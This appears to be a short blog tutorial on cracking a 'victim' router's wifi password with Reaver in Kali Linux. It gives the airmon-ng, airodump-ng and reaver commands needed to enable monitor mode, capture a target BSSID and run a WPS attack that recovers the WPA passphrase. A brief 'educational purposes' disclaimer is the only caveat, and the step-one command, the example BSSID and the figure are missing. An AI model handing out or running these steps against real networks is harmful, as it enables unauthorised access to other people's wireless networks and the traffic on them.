The Hackr

Hack wifi passwords using Reaver

Today I’m going to teach you the process of hacking wifi passwords using Reaver tool in Kali.

This post is only for educational purposes. Wifi hacking is a crime in real world.

Step 1

Open Terminal and check the interface name of your wireless adapter using


In my case it is wlan0

Step 2

To put your wifi adapter in monitor mode, first kill previous monitor processes using

airmon-ng check kill

and check if any conflicting processes using

airmon-ng check

Step 3

Now put your wifi adapter in monitor mode using

airmon-ng start wlan0

where wlan0 is your wireless card interface.

Step 4

Now to capture the packets, we’ll use

airodump-ng wlan0mon

where wlan0mon is the wireless monitor mode interface.

Step 5

After capturing enough packets, hit Ctrl+c and copy the BSSID of the victim router.

Step 6

Now enter the below command to use Reaver to crack the wifi password.

reaver -i wlan0mon -b BSSID -vv -K 1

where enter the victim’s in place of BSSID. In my case it is

Now Reaver starts cracking the password. Time for cracking the password depends on the complexity of the password! You can see the  WPA PSK: password as in the fig.


The hacking trend these days has definitely turned criminal because of e-commerce ¯\_(ツ)_/¯